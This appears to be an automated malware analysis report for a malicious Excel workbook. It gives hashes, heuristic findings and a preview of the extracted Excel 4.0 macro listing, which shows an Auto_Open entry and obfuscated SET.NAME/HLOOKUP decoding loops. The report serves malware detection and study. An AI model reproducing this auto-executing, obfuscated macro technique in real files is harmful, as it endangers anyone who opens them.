Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a38591630083442…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:32 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 5784d9bb7dc919faa52a6a7f23c53f1a SHA-1: 53c9487b5227c93fd5b1ce72a4a03327cf4ff961 SHA-256: 6a38591630083442d07b359bfa3c185cf7526bb08bf5439ec9d41c7c28ba87da
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6741 bytes
SHA-256: 09aec7701ce2c822809556e14709fb5cfcca66fb3dae05a0c7cab7c9dff38365
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QseozMAC
' 0018     26 LABEL : Cell Value, String Constant - aqgTOlBFcWy len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H178 
' 0018     27 LABEL : Cell Value, String Constant - drShQjLXVrTy len=0 
' 0018     21 LABEL : Cell Value, String Constant - ESIwli len=0 
' 0018     25 LABEL : Cell Value, String Constant - GefYoqXsRJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - GNpgL len=0 
' 0018     25 LABEL : Cell Value, String Constant - gsPuJxhVHc len=0 
' 0018     20 LABEL : Cell Value, String Constant - HCpmD len=0 
' 0018     25 LABEL : Cell Value, String Constant - hKeOfEzOHc len=0 
' 0018     25 LABEL : Cell Value, String Constant - jrMKDnYXVP len=0 
' 0018     23 LABEL : Cell Value, String Constant - KlcVkKOb len=0 
' 0018     20 LABEL : Cell Value, String Constant - NTqoJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - oBNwIjiOE len=0 
' 0018     27 LABEL : Cell Value, String Constant - OcUIvwyOmxBq len=0 
' 0018     25 LABEL : Cell Value, String Constant - RoqtAGGHnJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - SJCxpq len=0 
' 0018     26 LABEL : Cell Value, String Constant - THGcRveUukd len=0 
' 0018     20 LABEL : Cell Value, String Constant - TKZnt len=0 
' 0018     23 LABEL : Cell Value, String Constant - uDrjFSPV len=0 
' 0018     24 LABEL : Cell Value, String Constant - vnJXHXQqG len=0 
' 0018     23 LABEL : Cell Value, String Constant - xMvqgXNb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QseozMAC,S49,"",613.00000000000000000000
'  QseozMAC,S50,"",-17.00000000000000000000
'  QseozMAC,S51,"",950.00000000000000000000
'  QseozMAC,S52,"",-673.00000000000000000000
'  QseozMAC,S53,"",199.00000000000000000000
'  QseozMAC,S54,"",-821.00000000000000000000
'  QseozMAC,H79,"SET.NAME("gsPuJxhVHc",0+VALUE("0"))",""
'  QseozMAC,H84,"SET.NAME("xMvqgXNb",gsPuJxhVHc)",""
'  QseozMAC,H89,"SET.NAME("KlcVkKOb",gsPuJxhVHc)",""
'  QseozMAC,H94,"SET.NAME("THGcRveUukd",COUNTA(jrMKDnYXVP))",""
'  QseozMAC,H99,"SET.NAME("aqgTOlBFcWy",COUNTA(GNpgL))",""
'  QseozMAC,H102,[],""
'  QseozMAC,H104,"SET.NAME("hKeOfEzOHc","")",""
'  QseozMAC,H107,"xMvqgXNb",""
'  QseozMAC,H112,"SET.NAME("RoqtAGGHnJ",HLOOKUP("*",jrMKDnYXVP,xMvqgXNb,FALSE))",""
'  QseozMAC,H114,"ESIwli",""
'  QseozMAC,H119,"SET.NAME("SJCxpq",gsPuJxhVHc)",""
'  QseozMAC,H124,[],""
'  QseozMAC,H129,"SJCxpq",""
'  QseozMAC,H131,"uDrjFSPV",""
'  QseozMAC,H136,"drShQjLXVrTy",""
'  QseozMAC,H140,"NTqoJ",""
'  QseozMAC,H142,"SET.NAME("oBNwIjiOE",VALUE(HLOOKUP("*",GNpgL,NTqoJ,FALSE)))",""
'  QseozMAC,H146,"OcUIvwyOmxBq",""
'  QseozMAC,H150,"hKeOfEzOHc",""
'  QseozMAC,H152,"KlcVkKOb",""
'  QseozMAC,H157,NEXT(),""
'  QseozMAC,H161,"GefYoqXsRJ",""
'  QseozMAC,H164,[],""
'  QseozMAC,H168,"HCpmD",""
'  QseozMAC,H172,NEXT(),""
'  QseozMAC,H174,RETURN(),""
'  QseozMAC,H203,"SET.NAME("TKZnt",H79)",""
'  QseozMAC,H206,"jrMKDnYXVP",""
'  QseozMAC,H209,"SET.NAME("GNpgL",R64C14)",""
'  QseozMAC,H212,"SET.NAME("HCpmD",217)",""
'  QseozMAC,H214,"SET.NAME("vnJXHXQqG",8)",""
'  QseozMAC,H216,TKZnt(),""
'  QseozMAC,H217,HALT(),""